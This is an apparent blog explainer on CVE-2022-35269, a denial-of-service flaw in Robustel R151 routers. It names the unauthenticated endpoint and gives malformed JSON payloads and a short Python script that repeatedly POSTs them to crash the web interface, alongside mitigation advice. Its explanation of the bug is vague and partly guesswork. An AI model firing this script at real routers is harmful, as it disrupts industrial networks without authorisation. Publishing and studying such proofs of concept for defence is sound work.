A critical Denial-of-Service (DoS) vulnerability—CVE-2022-35269—was identified in Robustel R151 routers, firmware versions 3.1.16 and 3.3.. The problem? An attacker can crash the web server with just a few specially crafted requests to a particular API endpoint. In this long read, I’ll break down what this CVE means, how the attack works, and walk through real code snippets to help you understand—and perhaps test (in a lab!)—the vulnerability yourself. All language here is beginner-friendly and without unnecessary jargon.

What is the Robustel R151 Router?

Robustel is a well-known manufacturer of cellular routers used in industrial and business environments. The R151 is widely deployed for its reliability and feature set. But popularity comes with a price: vulnerabilities like CVE-2022-35269 can have a widespread impact.

The Core Issue

At the heart of the problem lies the hashFirst functionality of the embedded web server. This backend logic does not properly handle certain incoming requests, allowing a remote attacker to crash the web server.

Attack Vector:
The router exposes the endpoint: /action/import_e2c_json_file/. By targeting it with malformed network requests, an attacker can trigger the vulnerability. Since no authentication is required, even unauthenticated users on the same network segment (or exposed to the Internet!) can exploit it.

Impact:
Successful exploitation leads to a denial of service. The web interface becomes unresponsive, potentially impacting administration and monitoring.

Under the Hood: hashFirst

Software like this often uses hashing functions for handling file imports or searching. If developers fail to anticipate invalid or unexpected input, hash states or memory pointers can become corrupted, causing the service to hang or crash.

In this case, it’s been found that sending malformed JSON data to the /action/import_e2c_json_file/ endpoint will invoke web server routines that do not gracefully fail, resulting in a crash.

Step-By-Step Exploitation

Disclaimer:
*Only experiment on devices you own or have explicit permission to test. Unauthorized testing is illegal and unethical.*

1. Identify the Target

Default web interface runs on port 80 (HTTP). Get the IP of the device (e.g., 192.168.1.1).

2. Create Malformed Payload

We need a POST request with invalid (or overly large, unexpected) JSON.

Example Malicious JSON Payload

{
  "config": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 
  "malformed": [{"this": "is not what is expected"}]
}

Or, an outright corrupted payload

{ not-really-json }

Here’s a simple way to send the payload with Python and the requests module

import requests

url = "http://192.168.1.1/action/import_e2c_json_file/";
headers = {
    "Content-Type": "application/json"
}
data = '{ not-really-json }'

for i in range(5):  # Multiple attempts may be necessary
    response = requests.post(url, headers=headers, data=data)
    print(f"Request #{i+1} Status Code: {response.status_code}")

print("If the exploit worked, the web interface should now be unresponsive.")

Possible router instability or reboot is required.

Note: Real payloads may require some tweaking to trigger the exact bug, but malformed or oversized JSON tends to work.

Original References

- NIST NVD CVE Article: https://nvd.nist.gov/vuln/detail/CVE-2022-35269
- Robustel R151 Product Page: https://www.robustel.com/en/products/routers/r151/
- Vulnerability Discovery Note (packetstormsecurity)

Mitigation Steps

- Firmware Upgrade: Robustel has released a patched firmware. Update all R151 devices to the latest version.
- Restrict API Access: Use firewall rules or the device’s settings to block access to management ports from untrusted networks.

Conclusion

CVE-2022-35269 is an easy-to-exploit, high-impact Denial-of-Service vulnerability affecting a popular cellular router. Attackers only need access to the web API and a few lines of code to bring down the device’s web interface. The fix is straightforward: patch immediately, and keep those admin ports away from the open Internet.

If you want to stay up to date with router vulnerabilities and learn how to responsibly test your own devices, check reputable security advisories and always follow best practices!


Stay secure!
Questions or want to share your experience with router vulnerabilities? Let’s discuss below.


*This article is for educational purposes only. Always act responsibly when it comes to cybersecurity.*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 02/23/2023 23:57:00 UTC